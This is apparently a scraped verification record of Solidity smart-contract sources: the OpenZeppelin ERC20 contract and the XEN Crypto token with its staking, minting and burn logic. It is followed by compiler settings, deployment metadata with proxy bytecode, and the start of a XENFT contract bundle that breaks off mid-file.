"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
137dd17164e2c7878dbceb5ffef5256440b07aca
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual 